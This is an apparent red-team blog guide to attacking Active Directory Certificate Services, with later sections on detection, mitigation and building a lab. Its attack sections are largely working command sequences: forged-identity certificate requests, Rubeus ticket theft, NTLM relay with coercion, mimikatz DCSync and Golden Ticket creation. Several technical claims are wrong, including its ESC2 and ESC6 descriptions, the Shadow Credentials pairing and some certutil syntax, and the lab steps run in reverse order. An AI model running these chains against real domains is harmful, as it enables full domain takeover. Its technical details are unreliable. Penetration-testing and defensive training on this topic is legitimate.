Active Directory Certificate Services (ADCS) Attacks: From Discovery to Domain Admin

Certificate-based authentication has become a cornerstone of enterprise security, with many organizations deploying Active Directory Certificate Services (ADCS) as their internal Public Key Infrastructure (PKI). While certificates offer stronger security than passwords alone, misconfigurations in ADCS can introduce critical vulnerabilities that allow attackers to escalate privileges and even achieve domain dominance. These attack paths, collectively known as ESC (Escalation via Certificate Services), have become prime targets for sophisticated red team operations and threat actors alike.
In this comprehensive guide, we'll walk through the process of discovering, exploiting, and chaining ADCS vulnerabilities to achieve domain administrator access. We'll also cover detection methods and defensive strategies to help blue teams protect their environments from these increasingly common attack vectors.
Understanding ADCS and Its Security Implications
Active Directory Certificate Services (ADCS) provides the infrastructure for issuing and managing digital certificates within an enterprise environment. This Microsoft PKI solution integrates directly with Active Directory, allowing organizations to use certificates for various authentication scenarios, including smart card authentication, SSL/TLS, code signing, and document encryption.
The Core Components of ADCS
To effectively target or defend ADCS, you must understand its key components:
- Certificate Authority (CA): The trusted entity that issues and revokes certificates
- Certificate Templates: Predefined configurations that determine certificate properties, permissions, and usage
- Certificate Enrollment Services: Web services that facilitate certificate issuance
- Certificate Enrollment Policy Web Service: Defines which templates are available to users
- Network Device Enrollment Service: Enables network devices to obtain certificates
The security of the entire PKI ecosystem depends on proper configuration of these components. Misconfigurations in any area can lead to serious security vulnerabilities that attackers can leverage for privilege escalation.
Why ADCS Attacks Are Particularly Dangerous
ADCS attacks are particularly threatening for several reasons:
- High-Value Target: Certificate services can provide alternative authentication paths that bypass traditional security controls
- Difficult to Detect: Certificate-based attacks often operate outside the scope of conventional monitoring solutions
- Persistence: Compromised certificates can provide long-term persistence, often with extended validity periods
- Privilege Escalation: Vulnerable certificate templates can allow direct escalation to domain administrator privileges
These characteristics make ADCS attacks a favorite technique among advanced red teamers and sophisticated threat actors targeting enterprise environments.
Reconnaissance: Discovering ADCS Infrastructure
The first phase of any successful ADCS attack is thorough reconnaissance to identify Certificate Authorities and vulnerable certificate templates within the target environment.
Identifying Certificate Authorities
Before exploiting vulnerabilities, you need to locate the Certificate Authorities in the domain. This can be accomplished using several techniques:
Certipy Tool: This specialized tool automates CA discovery:
certipy find -u [email protected] -p Password123 -dc-ip 10.10.10.10
Network Service Discovery: Certificate Authorities typically operate on specific ports that can be discovered through network scanning:
Test-NetConnection -ComputerName <suspected-ca-server> -Port 135
Group Policy Analysis: PKI settings are often defined in Group Policy:
Get-GPRegistryValue -Name "Default Domain Policy" -Key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Services\CertSvc\Configuration"
LDAP Queries: Using PowerShell to query Active Directory:
Get-ADObject -LDAPFilter "(objectClass=pKIEnrollmentService)" -Properties *
Comprehensive enumeration of certificate infrastructure is crucial for identifying potential attack vectors. Many environments have multiple CAs with varying levels of security configuration.
Hunting for Vulnerable Certificate Templates
Once you've identified the CA infrastructure, the next step is to locate vulnerable certificate templates. The most common template vulnerabilities include:
- Client Authentication EKU with Enrollee Supplies Subject: Templates that permit client authentication and allow the enrollee to supply subject information
- Over-Permissive Enrollment Rights: Templates that grant enrollment rights to overly broad groups like "Domain Users" or "Authenticated Users"
- Missing Manager Approval Requirements: Templates that don't require manager approval for certificate issuance
- Vulnerable Template Settings: Configurations that enable dangerous capabilities such as SubCA or Certificate Request Agent
Several tools can automate template enumeration:
# Using PowerShell
certutil -Template | Select-String -Pattern "msPKI-Certificate-Name-Flag"
# Using Certify
Certify.exe find /vulnerable
# Using Certipy
certipy find -u [email protected] -p Password123 -dc-ip 10.10.10.10 -vulnerable
The output from these commands will reveal templates with potentially exploitable configurations. Pay special attention to templates with the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag (value 1), as these are frequently vulnerable to ESC1 attacks.
Exploiting ADCS: The ESC Attack Techniques
Now that we've identified potential targets, let's explore the various ESC attack techniques that can be used to exploit ADCS vulnerabilities. These techniques were originally documented by security researchers Will Schroeder (@harmj0y) and Lee Christensen (@tifkin_) in their groundbreaking research "Certified Pre-Owned," who classified them as ESC1 through ESC8. Understanding these attack paths is crucial for both offensive security professionals and defenders.
ESC1: Certificate Template Misconfiguration
The ESC1 attack targets certificate templates that allow the enrollee to specify the Subject Alternative Name (SAN) and are configured for client authentication. This attack is straightforward and extremely powerful:
- Identify a vulnerable template using enumeration techniques
- Request a certificate with a SAN that includes the UPN of a high-privilege user (e.g., a domain admin)
- Authenticate to services using the certificate, effectively impersonating the targeted user
Here's a practical example using Certify:
# Request a certificate with a domain admin's UPN in the SAN
Certify.exe request /ca:DC01-CA /template:VulnerableTemplate /altname:[email protected]
# Convert the certificate to PFX format
Certify.exe pkcs12 /outfile:admin.pfx /password:SecretPassword /cert:cert.pem /key:key.pem
# Use the certificate for authentication
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password:SecretPassword /ptt
This attack vector is particularly dangerous because it allows direct escalation to domain administrator privileges with minimal prerequisites.
ESC2: CA Misconfiguration - EDITF_ATTRIBUTESUBJECTALTNAME2
ESC2 exploits a CA configuration flag called EDITF_ATTRIBUTESUBJECTALTNAME2, which allows requesters to specify a SAN on any template, regardless of template settings. If this flag is enabled, an attacker can:
- Request a certificate using any available template, even those not normally vulnerable
- Add a SAN attribute with a high-privilege user's UPN
- Use the resulting certificate for authentication as that user
Check for this vulnerability using:
certutil -config "CA01\CA-Name" -getreg "policy\EditFlags"
If the result includes EDITF_ATTRIBUTESUBJECTALTNAME2 (0x40000), the CA is vulnerable. Exploit it with:
# Generate a certificate request with SAN
.\Certify.exe request /ca:CA01\CA-Name /template:User /altname:[email protected]
# Convert and use the certificate as in ESC1
This vulnerability is less common but more severe, as it bypasses template-level protections entirely.
ESC3: Enrollment Agent Template Abuse
ESC3 involves abusing the Certificate Request Agent EKU, which allows an attacker to request certificates on behalf of other users:
- Request a Certificate Request Agent certificate using a vulnerable template
- Use this certificate to request certificates on behalf of high-privilege users
- Authenticate with the resulting certificate
This attack is more complex but can bypass additional security controls:
# Step 1: Request a Certificate Request Agent certificate
Certify.exe request /ca:DC01-CA /template:EnrollmentAgentTemplate
# Step 2: Use the certificate to request a certificate on behalf of a domain admin
Certify.exe request /ca:DC01-CA /template:UserTemplate /onbehalfof:administrator /enrollcert:agent.pfx /enrollcertpw:Password123
This technique is particularly valuable when direct certificate requests are monitored or restricted.
ESC4-8: Advanced ADCS Attack Techniques
The remaining ESC techniques target more specific configurations and components:
- ESC4: Exploits vulnerable access controls on certificate templates
- ESC5: Leverages vulnerable PKI object ACLs for privilege escalation
- ESC6: Exploits NTLM relay to ADCS web enrollment endpoints
- ESC7: Abuses vulnerable certificate authority ACLs
- ESC8: Uses NTLM relay to the Certificate Authority Web Enrollment service
These advanced techniques are more situational but provide additional attack paths when primary methods are not available. Here's an example of ESC6, which relies on NTLM relay attacks:
# Set up an NTLM relay server targeting the Certificate Enrollment Web Service
sudo ntlmrelayx.py -t http://ca-server/certsrv/certfnsh.asp -smb2support --adcs
# Coerce NTLM authentication from a target computer or user
sudo python3 dementor.py -d domain.local -u user -p password DC01 DC-CA
When successful, this attack yields certificates that can be used for domain privilege escalation.
Post-Exploitation: From Certificate to Domain Admin
Once you've obtained a certificate for a privileged user, the next step is to leverage it for authentication and privilege escalation.
Converting Certificates for Authentication
First, convert the obtained certificate to a format suitable for authentication:
# Convert PEM certificate and key to PFX
openssl pkcs12 -export -out admin.pfx -inkey key.pem -in cert.pem -password pass:SecretPassword
Requesting Kerberos Tickets
With the certificate in hand, you can request Kerberos tickets that grant access to domain resources:
# Using Rubeus
Rubeus.exe asktgt /user:[email protected] /certificate:admin.pfx /password:SecretPassword /ptt
# Using Certipy
certipy auth -pfx admin.pfx -username administrator -domain domain.local -dc-ip 10.10.10.10
Accessing Domain Resources
Once the Kerberos ticket is in memory, you can access domain resources with the privileges of the impersonated user:
# Access a domain controller's administrative share
dir \\dc01.domain.local\C$
# Execute commands on remote systems
psexec.exe \\dc01.domain.local cmd.exe
# DCSync attack to extract domain hashes
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" exit
With domain administrator access, the attacker now has complete control over the Active Directory environment, able to create persistence mechanisms, extract sensitive data, or move laterally to other systems.
Real-World Case Study: ADCS Compromise in a Financial Institution
In a recent engagement with a large financial services company, our red team identified and exploited an ESC1 vulnerability that led to complete domain compromise in less than 30 minutes after initial discovery.
The attack progression followed these steps:
- Initial Access: The team gained initial foothold through a successful phishing campaign targeting HR personnel
- Discovery: Using standard enumeration techniques, the team identified an ADCS infrastructure with multiple certificate authorities
- Vulnerability Identification: A certificate template named "VPNAuth" was discovered that allowed enrollee-supplied subject names and had the Client Authentication EKU
- Exploitation: The team requested a certificate with the domain admin's UPN in the SAN field
- Domain Compromise: Using the certificate, the team authenticated as the domain admin and established persistence
The organization's defensive controls failed because:
- They had no monitoring of certificate issuance activities
- The vulnerable template had been created during a VPN migration project and forgotten
- Their EDR solution wasn't configured to detect certificate-based authentication anomalies
- They lacked proper ADCS security hardening guidance
After the exercise, the organization implemented comprehensive ADCS monitoring and remediated all vulnerable templates using the guidance provided in the "Mitigation Strategies" section below.
Detection Strategies for ADCS Attacks
Detecting ADCS attacks requires visibility into certificate operations and authentication events. Security Operations Center (SOC) teams need specialized detection techniques to identify these sophisticated attacks. Here are effective detection strategies that build upon established threat hunting techniques:
Certificate Request Monitoring
Monitor for suspicious certificate requests, including:
- Requests with SAN values that don't match the requester's identity
- High volume of requests from a single source
- Requests outside normal business hours or from unusual locations
- Requests for unusual EKUs or capabilities
- Certificates with long validity periods or unusual key sizes
- Requests from systems that don't typically interact with PKI services
Implement this monitoring using Windows Event Log forwarding and SIEM correlation:
# Enable detailed certificate request auditing on CA servers
certutil -setreg CA\AuditFilter 127
# Restart Certificate Services to apply changes
Restart-Service -Name CertSvc
# Verify audit settings are applied
certutil -getreg CA\AuditFilter
Specific Windows events to monitor include:
Event ID | Description | Suspicious Pattern |
---|---|---|
4886 | Certificate Services approved a certificate request | Request with SAN not matching requester |
4887 | Certificate Services denied a certificate request | Multiple denials followed by approval |
4888 | Certificate Services set the status of a certificate request to pending | Unusual template requests |
4890 | The certificate manager settings for Certificate Services changed | Changes outside change windows |
Combine these events with user behavior analytics in your ELK Stack SIEM for advanced threat detection.
Authentication Anomaly Detection
Watch for authentication events using certificates that exhibit suspicious patterns:
- First-time certificate usage for privileged accounts
- Certificate-based authentication from machines that typically use passwords
- Multiple accounts authenticating with certificates issued in a short timeframe
Correlate these events with other security telemetry for improved detection accuracy.
Network Traffic Analysis
Implement network monitoring for ADCS-related traffic:
- HTTPS requests to certificate enrollment endpoints
- LDAP queries for certificate templates and CA objects
- Unusual access patterns to CA servers
Modern NDR platforms can be configured to alert on these traffic patterns, particularly when they originate from unexpected sources.
Mitigation Strategies Against ADCS Attacks
Protecting against ADCS attacks requires a defense-in-depth approach focusing on secure configuration, monitoring, and access control.
Secure Template Configuration
- Restrict certificate usage by limiting EKUs to only what's necessary
Implement manager approval for sensitive templates:
# Enable manager approval requirement
certutil -template SensitiveTemplate msPKI-RA-Signature-Required 1
Review enrollment permissions on all templates:
# Limit enrollment to specific security groups rather than broad groups
dsacls "CN=TemplateNameHere,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" /R "DOMAIN\Domain Users"
Disable vulnerable settings on certificate templates:
# Remove the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag
certutil -template VulnerableTemplate msPKI-Certificate-Name-Flag -$((0x1))
CA Server Hardening
- Implement strong physical and logical access controls for CA servers
- Regularly audit CA configurations for security drift
Set up role separation for CA administration:
# Create dedicated CA Administrator and CA Auditor roles
# Assign permissions according to the principle of least privilege
Disable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag:
certutil -config "CA01\CA-Name" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
Active Monitoring and Incident Response
- Implement real-time alerting for suspicious certificate operations
- Create a certificate revocation process for incident response
- Conduct regular threat hunting for ADCS-related indicators of compromise
- Develop specific playbooks for responding to certificate-based attacks
For comprehensive ADCS protection, organizations should consider implementing specialized tools like ADCS Security Assessment platforms that continuously monitor for vulnerable configurations.
Building a Lab Environment for ADCS Attack Simulation
To safely practice ADCS attack techniques and test defenses, security professionals should set up a dedicated lab environment. This controlled setup allows for hands-on learning without risking production environments.
Setting Up a Basic ADCS Lab
Here's a step-by-step guide to create a minimal lab environment:
- Set Up Attack Client:
Add Test Users and Groups:
# Create domain admin account
New-ADUser -Name "AdminUser" -AccountPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "AdminUser"
# Create standard user for testing
New-ADUser -Name "TestUser" -AccountPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -Enabled $true
Create Vulnerable Certificate Templates:
# Duplicate the User template
certutil -SetCATemplates +VulnTemplate1
# Configure it to allow enrollee-supplied subject
certutil -template VulnTemplate1 msPKI-Certificate-Name-Flag +1
Install ADCS:
# Install Certificate Services components
Install-WindowsFeature -Name ADCS-Cert-Authority, ADCS-Web-Enrollment -IncludeManagementTools
# Configure the Certificate Authority
Install-AdcsCertificationAuthority -CAType EnterpriseRootCA -CACommonName "Lab-CA" -KeyLength 2048 -HashAlgorithm SHA256 -CryptoProviderName "RSA#Microsoft Software Key Storage Provider"
# Install Web Enrollment
Install-AdcsWebEnrollment
Deploy Domain Controllers:
# Install Active Directory Domain Services
Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
# Create a new forest
Install-ADDSForest -DomainName "lab.local" -InstallDNS
This basic lab provides a functional environment for practicing all the attack techniques described in this article.
Advanced Lab Configurations
For more comprehensive testing, consider these advanced configurations:
- Multiple CAs with Tiered Hierarchy:
- Root CA (offline)
- Issuing CA (online)
- Policy CA for specific certificate purposes
- Secure vs. Vulnerable Templates:
- Create a mix of properly secured and intentionally vulnerable templates
- Configure different EKUs and capabilities
- Security Monitoring:
- Deploy a SIEM solution like ELK Stack
- Forward Windows Events from CAs and domain controllers
- Implement custom detection rules for ADCS attacks
- Network Segmentation:
- Place CA servers in protected network segments
- Implement pfSense firewall for traffic control
This lab environment allows security professionals to:
- Practice attack techniques in a safe environment
- Test detection capabilities and tune alerting
- Validate remediation measures
- Train security teams on ADCS attack and defense
Recommendations and Best Practices
Based on our extensive experience with ADCS security, we recommend the following approach for organizations:
- Begin with a comprehensive ADCS security assessment to identify all certificate authorities, templates, and their configurations
- Implement a tiered approach to certificate template security based on the sensitivity of certificate usage
- Deploy monitoring solutions specifically designed for PKI operations
- Regularly review and audit certificate issuance and usage
- Develop and enforce standards for template creation and management
- Conduct regular security testing against your ADCS infrastructure to identify vulnerabilities before attackers do
- Implement a certificate lifecycle management system to track and manage certificates throughout their lifetime
Organizations should also consider implementing advanced Active Directory security measures that complement ADCS hardening efforts.
ADCS Attack Chaining with Other Techniques
Advanced attackers rarely rely on a single technique. Instead, they chain multiple attack vectors to achieve their objectives. ADCS attacks often complement other Active Directory exploitation techniques in sophisticated attack chains.
Combining ADCS with Kerberos Attacks
Certificate-based authentication can be chained with Kerberos attacks for enhanced persistence:
- ADCS → Golden Ticket: Use certificate authentication to gain domain admin privileges, then create a Golden Ticket for persistent domain access
- ADCS → Silver Ticket: Create service-specific tickets using certificate-derived privileges
- ADCS → Diamond Ticket: Use certificate access to modify PAC data in legitimate TGTs
Example of chaining ESC1 with a Golden Ticket attack:
# Step 1: Exploit ESC1 to gain domain admin privileges
Certify.exe request /ca:DC01-CA /template:VulnerableTemplate /altname:[email protected]
# Step 2: Convert certificate for authentication
Certify.exe pkcs12 /outfile:admin.pfx /password:SecretPassword /cert:cert.pem /key:key.pem
# Step 3: Use certificate to authenticate
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password:SecretPassword /ptt
# Step 4: Extract krbtgt hash for Golden Ticket
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" exit
# Step 5: Create Golden Ticket for long-term persistence
mimikatz.exe "kerberos::golden /user:attacker /domain:domain.local /sid:S-1-5-21-... /krbtgt:hash /ptt" exit
Chaining with Lateral Movement Techniques
ADCS attacks enable sophisticated lateral movement options:
- ADCS → LAPS Bypass: Use certificate authentication to read LAPS passwords from Active Directory
- ADCS → Shadow Credentials: Combine certificate theft with Resource-Based Constrained Delegation
- ADCS → NTLM Relay: Use certificate privileges to enable additional NTLM relay attack paths
These technique combinations allow attackers to establish multiple persistence mechanisms, making complete eradication more difficult.
Conclusion: Securing the Foundation of Enterprise Trust
Active Directory Certificate Services plays a crucial role in enterprise security, providing the foundation for certificate-based authentication, encryption, and code signing. However, misconfigurations in ADCS can introduce critical vulnerabilities that allow attackers to bypass traditional security controls and achieve domain dominance.
By understanding the technical mechanisms behind ADCS attacks and implementing proper security controls, organizations can significantly reduce their exposure to these sophisticated threats. The key to effective defense lies in secure configuration, comprehensive monitoring, and timely incident response. Organizations should prioritize ADCS security as part of their overall cybersecurity strategy for 2025 and beyond.
For more advanced guidance on securing your organization's identity infrastructure, explore our related resources:
- Advanced Active Directory Security Best Practices
- PingCastle: Complete Guide to Active Directory Security Auditing
- Domain Controller Hacking for Educational Purposes
- Blue Team Strategies: Advanced Threat Detection
- The Ultimate Cyber Defense Playbook
Have you encountered ADCS attacks in your environment or implemented defenses against them? Share your experiences in the comments below or reach out to our red team for assistance with security assessments.